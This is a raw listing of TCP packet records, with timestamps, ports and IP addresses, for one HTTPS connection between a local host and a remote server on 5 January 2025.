Jan 5, 2025 17:55:41.183506966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183522940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183577061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183583975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183624029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183805943 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183821917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183876038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183882952 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.183959961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.183991909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184042931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184062004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184106112 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184112072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184137106 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184158087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184236050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184253931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184313059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184320927 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184386969 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184514999 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184530973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184597969 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184603930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184647083 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.184926033 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184942961 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184992075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.184998035 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.185003996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.185039997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.185060978 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.185067892 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.185136080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.186079979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292170048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292190075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292387009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292395115 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292439938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292448044 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292459011 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292474985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292490005 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292525053 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292536974 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292547941 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292578936 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292602062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292617083 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292654991 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292661905 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292690039 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292696953 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.292958975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.292974949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293029070 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293035984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293112993 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293162107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293181896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293201923 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293209076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293220043 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293247938 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293271065 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293482065 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293495893 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293543100 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293549061 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293574095 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293582916 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293591976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293598890 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293618917 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293620110 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293647051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293654919 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293680906 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293705940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293768883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293782949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293832064 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.293839931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.293876886 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.295686007 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.411650896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.411670923 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.411781073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.411803007 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.411854982 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.411983013 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412002087 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412049055 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412056923 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412086010 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412094116 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412272930 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412291050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412352085 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412358046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412404060 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412497044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412516117 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412554979 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412560940 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412595987 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412604094 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412784100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412798882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412858009 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412867069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412882090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.412933111 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.412940979 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413198948 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413220882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413265944 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.413274050 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413311958 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.413404942 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413419008 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413459063 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.413465977 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.413490057 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.415177107 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.521728039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.521749973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.521905899 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.521939039 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522016048 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522017956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522032022 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522053003 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522089005 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522108078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522113085 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522157907 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522423029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522439957 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522495985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522504091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522551060 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522727966 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522744894 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522780895 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522788048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.522808075 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522840977 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.522999048 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523019075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523066998 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523072004 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523093939 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523128033 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523250103 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523267984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523324966 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523333073 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523375988 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523555040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523575068 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523621082 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523627996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523650885 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523719072 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523839951 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523858070 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523935080 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.523941994 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.523999929 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.525455952 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.636545897 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.636565924 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.636642933 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.636657953 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.636708021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.636892080 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.636907101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.636962891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.636970997 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.637018919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.640782118 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.640799046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.640866995 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.640877962 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.640919924 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641019106 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641031981 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641108036 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641114950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641174078 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641290903 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641304016 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641371965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641377926 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641532898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641534090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641545057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641561031 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641582966 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641616106 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641619921 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641661882 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641793013 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641884089 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641897917 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.641951084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.641957998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.642009974 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.642085075 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.642097950 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.642163038 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.642170906 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.642234087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.643672943 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.725298882 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725321054 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725415945 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.725429058 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725507021 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.725625992 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725642920 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725703955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.725711107 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.725754976 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.729489088 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.729505062 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.729582071 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.729588985 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.729634047 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.729934931 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.729953051 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730017900 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730024099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730066061 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730186939 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730209112 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730288029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730298996 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730356932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730357885 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730370045 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730390072 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730426073 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730432987 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730465889 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730485916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730670929 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730685949 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730747938 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730755091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730767965 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730799913 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.730906010 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730921984 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.730995893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.731003046 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.731060028 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.733572006 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.735115051 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.846937895 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.846959114 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.847076893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.847076893 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.847088099 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.847146034 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.847167969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.847184896 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.847232103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.847239017 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.847271919 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.847286940 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.851741076 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.851762056 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.851814985 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.851821899 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.851891994 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.851912975 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852034092 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852051973 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852109909 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852118969 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852165937 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852268934 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852283955 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852327108 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852333069 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852372885 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852389097 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852497101 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852518082 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852581024 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852587938 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852639914 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852684975 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852705002 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852763891 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852771044 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852822065 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.852956057 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.852978945 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.853018045 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.853024960 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.853069067 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.853091955 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.853308916 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.935635090 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.935658932 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.935738087 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.935748100 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.935805082 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.935833931 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.935973883 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.935992956 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.936052084 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.936058998 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.936104059 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.942543983 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.942562103 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.942667961 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.942675114 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.942737103 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.944571018 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.944587946 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.944675922 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.944684029 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.944727898 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.945151091 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.945166111 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.945228100 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.945234060 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.945281029 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.946691036 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.946707964 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.946789980 CET	49843	443	192.168.2.5	172.67.208.58
Jan 5, 2025 17:55:41.946799040 CET	443	49843	172.67.208.58	192.168.2.5
Jan 5, 2025 17:55:41.946865082 CET	49843	443	192.168.2.5	172.67.208.58
